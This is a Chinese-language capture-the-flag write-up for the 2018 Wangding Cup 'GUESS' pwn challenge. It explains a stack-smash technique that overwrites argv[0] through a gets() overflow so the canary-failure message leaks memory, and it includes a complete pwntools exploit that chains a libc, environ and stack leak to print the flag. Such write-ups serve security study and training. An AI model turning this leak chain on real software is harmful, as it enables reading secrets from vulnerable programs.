2018 网鼎杯-GUESS

checksec

开了 canary,nx

/posts/2018-%E7%BD%91%E9%BC%8E%E6%9D%AF-guess/images/net-img-1629950550147-ff28e13e-7705-4952-baab-6afe4d5c5eef-20220825205211-txk1dyk.png

主函数

/posts/2018-%E7%BD%91%E9%BC%8E%E6%9D%AF-guess/images/net-img-1629950520545-cae87c1e-b3e6-42b2-940c-77a9e4072e5e-20220825205211-5hs7e0e.png

分析

gets可溢出,但有canary

不能爆破(只有3次机会)

可用SSP(stack smashes protect) leak canary

程序检查canary如被修改则程序崩溃并且输出带有argv[0](当前文件名)的信息

/posts/2018-%E7%BD%91%E9%BC%8E%E6%9D%AF-guess/images/net-img-1629950838686-5398c674-d265-40ee-92e6-4fd4c91f3f03-20220825205211-5uow7yw.png

在程序加了canary保护之后,如果我们读取的buffer覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而stack smash技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序发现canary保护之后,如果发现canary被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

思路

  1. 由于flag已经在stack上可考虑leak flag
  2. gdb计算输入的内容到argv[0]距离
  3. **leak puts address -> compute libc base **
  4. compute environ address -> 通过 environ leak stack address
  5. compute offset (stack addr and flag addr) -> leak flag

注:environ里存有stack地址

gdb计算输入的内容到argv[0]距离

在gets后下断点,也就是strcmp处

/posts/2018-%E7%BD%91%E9%BC%8E%E6%9D%AF-guess/images/net-img-1629951543703-e4b76b7e-dfe6-49d4-8b2e-e4d8d0598518-20220825205212-zhhbd01.png

gdb下断点输入aaaa

**argv[0]地址: **0x7fffffffe4a8

输入的地址:0x7fffffffe380

offset = 0x128

/posts/2018-%E7%BD%91%E9%BC%8E%E6%9D%AF-guess/images/net-img-1629951688703-0c0c277a-b99f-4ccd-8daf-b24a80d1f017-20220825205212-siuc2cs.png

构造payload

payload = 'a'*0x128 + leak address

获取environ真实地址-> 可leak stack 真实地址

可见enviro真实地址不在栈上

相同方法 environ addr -> leak stack addr -> compute offset (stack addr and flag addr) -> leak flag

/posts/2018-%E7%BD%91%E9%BC%8E%E6%9D%AF-guess/images/net-img-1629949875697-c9307b04-ac9c-47d7-ae1b-bdabeebc6285-20220825205212-srhuwgt.png

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#encoding:utf-8
from pwn import *
context.log_level = 'debug'
file = './GUESS'
p = process(file)
e = ELF(file)
puts_got = e.got['puts']
print hex(puts_got)
payload = 'a'*0x128 + p64(puts_got)

p.sendlineafter("Please type your guessing flag\n",payload)

p.recvuntil("***: ")
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
success("puts addr = "+hex(puts_addr))
libc = e.libc
libc_base = puts_addr - libc.symbols['puts']
success("libc_base = "+hex(libc_base))
environ_addr = libc_base + libc.symbols['_environ']
success("environ addr = "+hex(environ_addr))
payload = 'a'*0x128 + p64(environ_addr)
pause()
p.sendlineafter("flag\n",payload)
p.recvuntil("***: ")
stack = u64(p.recv(6).ljust(8,'\x00'))
success("stack = "+hex(stack))
payload = 'a'*0x128 + p64(stack-0x168) # 是否开启aslr都可
# payload = 'a'*0x128 + p64(environ_addr+0x822a528) # aslr 未开启可用此payload
p.sendlineafter("flag\n",payload)
p.recvuntil("***: ")
flag = p.recvuntil("}")
print flag
p.interactive()

参考:https://github.com/lhc328/pwn/blob/master/2018%20%E7%BD%91%E9%BC%8E%E6%9D%AF%20pwn–GUESS.md

0%